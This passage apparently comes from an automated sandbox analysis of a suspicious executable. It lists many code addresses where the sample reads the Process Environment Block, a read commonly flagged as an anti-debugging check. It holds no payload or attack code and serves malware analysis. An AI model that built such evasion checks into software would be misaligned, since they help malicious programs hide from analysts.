Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016347FB mov eax, dword ptr fs:[00000030h] 10_2_016347FB
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016347FB mov eax, dword ptr fs:[00000030h] 10_2_016347FB
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0163C7C0 mov eax, dword ptr fs:[00000030h] 10_2_0163C7C0
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016B07C3 mov eax, dword ptr fs:[00000030h] 10_2_016B07C3
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016307AF mov eax, dword ptr fs:[00000030h] 10_2_016307AF
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016E47A0 mov eax, dword ptr fs:[00000030h] 10_2_016E47A0
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016D678E mov eax, dword ptr fs:[00000030h] 10_2_016D678E
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016F866E mov eax, dword ptr fs:[00000030h] 10_2_016F866E
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016F866E mov eax, dword ptr fs:[00000030h] 10_2_016F866E
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0166A660 mov eax, dword ptr fs:[00000030h] 10_2_0166A660
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0166A660 mov eax, dword ptr fs:[00000030h] 10_2_0166A660
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01662674 mov eax, dword ptr fs:[00000030h] 10_2_01662674
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0164C640 mov eax, dword ptr fs:[00000030h] 10_2_0164C640
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0164E627 mov eax, dword ptr fs:[00000030h] 10_2_0164E627
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01666620 mov eax, dword ptr fs:[00000030h] 10_2_01666620
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01668620 mov eax, dword ptr fs:[00000030h] 10_2_01668620
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0163262C mov eax, dword ptr fs:[00000030h] 10_2_0163262C
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016AE609 mov eax, dword ptr fs:[00000030h] 10_2_016AE609
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0164260B mov eax, dword ptr fs:[00000030h] 10_2_0164260B
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0164260B mov eax, dword ptr fs:[00000030h] 10_2_0164260B
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0164260B mov eax, dword ptr fs:[00000030h] 10_2_0164260B
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0164260B mov eax, dword ptr fs:[00000030h] 10_2_0164260B
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0164260B mov eax, dword ptr fs:[00000030h] 10_2_0164260B
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0164260B mov eax, dword ptr fs:[00000030h] 10_2_0164260B
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0164260B mov eax, dword ptr fs:[00000030h] 10_2_0164260B
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01672619 mov eax, dword ptr fs:[00000030h] 10_2_01672619
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016AE6F2 mov eax, dword ptr fs:[00000030h] 10_2_016AE6F2
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016AE6F2 mov eax, dword ptr fs:[00000030h] 10_2_016AE6F2
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016AE6F2 mov eax, dword ptr fs:[00000030h] 10_2_016AE6F2
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016AE6F2 mov eax, dword ptr fs:[00000030h] 10_2_016AE6F2
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016B06F1 mov eax, dword ptr fs:[00000030h] 10_2_016B06F1
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016B06F1 mov eax, dword ptr fs:[00000030h] 10_2_016B06F1
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0166A6C7 mov ebx, dword ptr fs:[00000030h] 10_2_0166A6C7
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0166A6C7 mov eax, dword ptr fs:[00000030h] 10_2_0166A6C7
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0166C6A6 mov eax, dword ptr fs:[00000030h] 10_2_0166C6A6
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016666B0 mov eax, dword ptr fs:[00000030h] 10_2_016666B0
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01634690 mov eax, dword ptr fs:[00000030h] 10_2_01634690
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01634690 mov eax, dword ptr fs:[00000030h] 10_2_01634690
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01656962 mov eax, dword ptr fs:[00000030h] 10_2_01656962
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01656962 mov eax, dword ptr fs:[00000030h] 10_2_01656962
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01656962 mov eax, dword ptr fs:[00000030h] 10_2_01656962
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0167096E mov eax, dword ptr fs:[00000030h] 10_2_0167096E
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0167096E mov edx, dword ptr fs:[00000030h] 10_2_0167096E
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0167096E mov eax, dword ptr fs:[00000030h] 10_2_0167096E
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016D4978 mov eax, dword ptr fs:[00000030h] 10_2_016D4978
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016D4978 mov eax, dword ptr fs:[00000030h] 10_2_016D4978
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016BC97C mov eax, dword ptr fs:[00000030h] 10_2_016BC97C
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016B0946 mov eax, dword ptr fs:[00000030h] 10_2_016B0946
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016B892A mov eax, dword ptr fs:[00000030h] 10_2_016B892A
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016C892B mov eax, dword ptr fs:[00000030h] 10_2_016C892B
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016AE908 mov eax, dword ptr fs:[00000030h] 10_2_016AE908
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016AE908 mov eax, dword ptr fs:[00000030h] 10_2_016AE908
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016BC912 mov eax, dword ptr fs:[00000030h] 10_2_016BC912
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01628918 mov eax, dword ptr fs:[00000030h] 10_2_01628918
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01628918 mov eax, dword ptr fs:[00000030h] 10_2_01628918
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016BE9E0 mov eax, dword ptr fs:[00000030h] 10_2_016BE9E0
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016629F9 mov eax, dword ptr fs:[00000030h] 10_2_016629F9
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016629F9 mov eax, dword ptr fs:[00000030h] 10_2_016629F9
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016C69C0 mov eax, dword ptr fs:[00000030h] 10_2_016C69C0
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0163A9D0 mov eax, dword ptr fs:[00000030h] 10_2_0163A9D0
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0163A9D0 mov eax, dword ptr fs:[00000030h] 10_2_0163A9D0
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0163A9D0 mov eax, dword ptr fs:[00000030h] 10_2_0163A9D0
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0163A9D0 mov eax, dword ptr fs:[00000030h] 10_2_0163A9D0
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0163A9D0 mov eax, dword ptr fs:[00000030h] 10_2_0163A9D0
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0163A9D0 mov eax, dword ptr fs:[00000030h] 10_2_0163A9D0
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016649D0 mov eax, dword ptr fs:[00000030h] 10_2_016649D0
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016FA9D3 mov eax, dword ptr fs:[00000030h] 10_2_016FA9D3
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016429A0 mov eax, dword ptr fs:[00000030h] 10_2_016429A0
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016429A0 mov eax, dword ptr fs:[00000030h] 10_2_016429A0
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016429A0 mov eax, dword ptr fs:[00000030h] 10_2_016429A0
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016429A0 mov eax, dword ptr fs:[00000030h] 10_2_016429A0
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016429A0 mov eax, dword ptr fs:[00000030h] 10_2_016429A0
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016429A0 mov eax, dword ptr fs:[00000030h] 10_2_016429A0
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016429A0 mov eax, dword ptr fs:[00000030h] 10_2_016429A0
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016429A0 mov eax, dword ptr fs:[00000030h] 10_2_016429A0
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016429A0 mov eax, dword ptr fs:[00000030h] 10_2_016429A0
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016429A0 mov eax, dword ptr fs:[00000030h] 10_2_016429A0
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016429A0 mov eax, dword ptr fs:[00000030h] 10_2_016429A0
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016429A0 mov eax, dword ptr fs:[00000030h] 10_2_016429A0
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016429A0 mov eax, dword ptr fs:[00000030h] 10_2_016429A0
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016309AD mov eax, dword ptr fs:[00000030h] 10_2_016309AD
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016309AD mov eax, dword ptr fs:[00000030h] 10_2_016309AD
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016B89B3 mov esi, dword ptr fs:[00000030h] 10_2_016B89B3
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016B89B3 mov eax, dword ptr fs:[00000030h] 10_2_016B89B3
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016B89B3 mov eax, dword ptr fs:[00000030h] 10_2_016B89B3
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016BE872 mov eax, dword ptr fs:[00000030h] 10_2_016BE872
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016BE872 mov eax, dword ptr fs:[00000030h] 10_2_016BE872
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016C6870 mov eax, dword ptr fs:[00000030h] 10_2_016C6870
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016C6870 mov eax, dword ptr fs:[00000030h] 10_2_016C6870
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01642840 mov ecx, dword ptr fs:[00000030h] 10_2_01642840
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01660854 mov eax, dword ptr fs:[00000030h] 10_2_01660854
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01634859 mov eax, dword ptr fs:[00000030h] 10_2_01634859
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01634859 mov eax, dword ptr fs:[00000030h] 10_2_01634859
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01652835 mov eax, dword ptr fs:[00000030h] 10_2_01652835
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01652835 mov eax, dword ptr fs:[00000030h] 10_2_01652835
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01652835 mov eax, dword ptr fs:[00000030h] 10_2_01652835
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01652835 mov ecx, dword ptr fs:[00000030h] 10_2_01652835
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01652835 mov eax, dword ptr fs:[00000030h] 10_2_01652835
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01652835 mov eax, dword ptr fs:[00000030h] 10_2_01652835
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0166A830 mov eax, dword ptr fs:[00000030h] 10_2_0166A830
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016D483A mov eax, dword ptr fs:[00000030h] 10_2_016D483A
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016D483A mov eax, dword ptr fs:[00000030h] 10_2_016D483A
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016BC810 mov eax, dword ptr fs:[00000030h] 10_2_016BC810
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016FA8E4 mov eax, dword ptr fs:[00000030h] 10_2_016FA8E4
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0166C8F9 mov eax, dword ptr fs:[00000030h] 10_2_0166C8F9
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0166C8F9 mov eax, dword ptr fs:[00000030h] 10_2_0166C8F9
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0165E8C0 mov eax, dword ptr fs:[00000030h] 10_2_0165E8C0
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01630887 mov eax, dword ptr fs:[00000030h] 10_2_01630887
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016BC89D mov eax, dword ptr fs:[00000030h] 10_2_016BC89D
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0162CB7E mov eax, dword ptr fs:[00000030h] 10_2_0162CB7E
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016E4B4B mov eax, dword ptr fs:[00000030h] 10_2_016E4B4B
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016E4B4B mov eax, dword ptr fs:[00000030h] 10_2_016E4B4B
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016C6B40 mov eax, dword ptr fs:[00000030h] 10_2_016C6B40
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016C6B40 mov eax, dword ptr fs:[00000030h] 10_2_016C6B40
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016FAB40 mov eax, dword ptr fs:[00000030h] 10_2_016FAB40
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016D8B42 mov eax, dword ptr fs:[00000030h] 10_2_016D8B42
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016DEB50 mov eax, dword ptr fs:[00000030h] 10_2_016DEB50
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0165EB20 mov eax, dword ptr fs:[00000030h] 10_2_0165EB20
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0165EB20 mov eax, dword ptr fs:[00000030h] 10_2_0165EB20
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016F8B28 mov eax, dword ptr fs:[00000030h] 10_2_016F8B28
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016F8B28 mov eax, dword ptr fs:[00000030h] 10_2_016F8B28
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016AEB1D mov eax, dword ptr fs:[00000030h] 10_2_016AEB1D
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016AEB1D mov eax, dword ptr fs:[00000030h] 10_2_016AEB1D
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016AEB1D mov eax, dword ptr fs:[00000030h] 10_2_016AEB1D
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016AEB1D mov eax, dword ptr fs:[00000030h] 10_2_016AEB1D
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016AEB1D mov eax, dword ptr fs:[00000030h] 10_2_016AEB1D
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016AEB1D mov eax, dword ptr fs:[00000030h] 10_2_016AEB1D
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016AEB1D mov eax, dword ptr fs:[00000030h] 10_2_016AEB1D
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016AEB1D mov eax, dword ptr fs:[00000030h] 10_2_016AEB1D
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016AEB1D mov eax, dword ptr fs:[00000030h] 10_2_016AEB1D
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01638BF0 mov eax, dword ptr fs:[00000030h] 10_2_01638BF0
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01638BF0 mov eax, dword ptr fs:[00000030h] 10_2_01638BF0
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01638BF0 mov eax, dword ptr fs:[00000030h] 10_2_01638BF0
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0165EBFC mov eax, dword ptr fs:[00000030h] 10_2_0165EBFC
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016BCBF0 mov eax, dword ptr fs:[00000030h] 10_2_016BCBF0
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01650BCB mov eax, dword ptr fs:[00000030h] 10_2_01650BCB
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01650BCB mov eax, dword ptr fs:[00000030h] 10_2_01650BCB
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01650BCB mov eax, dword ptr fs:[00000030h] 10_2_01650BCB
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01630BCD mov eax, dword ptr fs:[00000030h] 10_2_01630BCD
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01630BCD mov eax, dword ptr fs:[00000030h] 10_2_01630BCD
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01630BCD mov eax, dword ptr fs:[00000030h] 10_2_01630BCD
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016DEBD0 mov eax, dword ptr fs:[00000030h] 10_2_016DEBD0
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01640BBE mov eax, dword ptr fs:[00000030h] 10_2_01640BBE
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01640BBE mov eax, dword ptr fs:[00000030h] 10_2_01640BBE
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016E4BB0 mov eax, dword ptr fs:[00000030h] 10_2_016E4BB0
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016E4BB0 mov eax, dword ptr fs:[00000030h] 10_2_016E4BB0
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0166CA6F mov eax, dword ptr fs:[00000030h] 10_2_0166CA6F
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0166CA6F mov eax, dword ptr fs:[00000030h] 10_2_0166CA6F
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0166CA6F mov eax, dword ptr fs:[00000030h] 10_2_0166CA6F
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016DEA60 mov eax, dword ptr fs:[00000030h] 10_2_016DEA60
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016ACA72 mov eax, dword ptr fs:[00000030h] 10_2_016ACA72
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016ACA72 mov eax, dword ptr fs:[00000030h] 10_2_016ACA72
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01636A50 mov eax, dword ptr fs:[00000030h] 10_2_01636A50
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01636A50 mov eax, dword ptr fs:[00000030h] 10_2_01636A50
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01636A50 mov eax, dword ptr fs:[00000030h] 10_2_01636A50
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01636A50 mov eax, dword ptr fs:[00000030h] 10_2_01636A50
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01636A50 mov eax, dword ptr fs:[00000030h] 10_2_01636A50
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01636A50 mov eax, dword ptr fs:[00000030h] 10_2_01636A50
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01636A50 mov eax, dword ptr fs:[00000030h] 10_2_01636A50
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01640A5B mov eax, dword ptr fs:[00000030h] 10_2_01640A5B
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01640A5B mov eax, dword ptr fs:[00000030h] 10_2_01640A5B
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0166CA24 mov eax, dword ptr fs:[00000030h] 10_2_0166CA24
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0165EA2E mov eax, dword ptr fs:[00000030h] 10_2_0165EA2E
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01654A35 mov eax, dword ptr fs:[00000030h] 10_2_01654A35
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01654A35 mov eax, dword ptr fs:[00000030h] 10_2_01654A35
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0166CA38 mov eax, dword ptr fs:[00000030h] 10_2_0166CA38
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016BCA11 mov eax, dword ptr fs:[00000030h] 10_2_016BCA11
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0166AAEE mov eax, dword ptr fs:[00000030h] 10_2_0166AAEE
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0166AAEE mov eax, dword ptr fs:[00000030h] 10_2_0166AAEE
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01686ACC mov eax, dword ptr fs:[00000030h] 10_2_01686ACC
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01686ACC mov eax, dword ptr fs:[00000030h] 10_2_01686ACC
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01686ACC mov eax, dword ptr fs:[00000030h] 10_2_01686ACC
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01630AD0 mov eax, dword ptr fs:[00000030h] 10_2_01630AD0
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01664AD0 mov eax, dword ptr fs:[00000030h] 10_2_01664AD0
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01664AD0 mov eax, dword ptr fs:[00000030h] 10_2_01664AD0
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01638AA0 mov eax, dword ptr fs:[00000030h] 10_2_01638AA0
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01638AA0 mov eax, dword ptr fs:[00000030h] 10_2_01638AA0
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01686AA4 mov eax, dword ptr fs:[00000030h] 10_2_01686AA4
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0163EA80 mov eax, dword ptr fs:[00000030h] 10_2_0163EA80
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0163EA80 mov eax, dword ptr fs:[00000030h] 10_2_0163EA80
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0163EA80 mov eax, dword ptr fs:[00000030h] 10_2_0163EA80
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0163EA80 mov eax, dword ptr fs:[00000030h] 10_2_0163EA80
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0163EA80 mov eax, dword ptr fs:[00000030h] 10_2_0163EA80
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0163EA80 mov eax, dword ptr fs:[00000030h] 10_2_0163EA80
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0163EA80 mov eax, dword ptr fs:[00000030h] 10_2_0163EA80
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0163EA80 mov eax, dword ptr fs:[00000030h] 10_2_0163EA80
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0163EA80 mov eax, dword ptr fs:[00000030h] 10_2_0163EA80
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01704A80 mov eax, dword ptr fs:[00000030h] 10_2_01704A80
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01668A90 mov edx, dword ptr fs:[00000030h] 10_2_01668A90
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016C8D6B mov eax, dword ptr fs:[00000030h] 10_2_016C8D6B
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01630D59 mov eax, dword ptr fs:[00000030h] 10_2_01630D59
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01630D59 mov eax, dword ptr fs:[00000030h] 10_2_01630D59
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01630D59 mov eax, dword ptr fs:[00000030h] 10_2_01630D59
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01638D59 mov eax, dword ptr fs:[00000030h] 10_2_01638D59
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01638D59 mov eax, dword ptr fs:[00000030h] 10_2_01638D59
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01638D59 mov eax, dword ptr fs:[00000030h] 10_2_01638D59
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01638D59 mov eax, dword ptr fs:[00000030h] 10_2_01638D59
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01638D59 mov eax, dword ptr fs:[00000030h] 10_2_01638D59
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016B8D20 mov eax, dword ptr fs:[00000030h] 10_2_016B8D20
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0164AD00 mov eax, dword ptr fs:[00000030h] 10_2_0164AD00
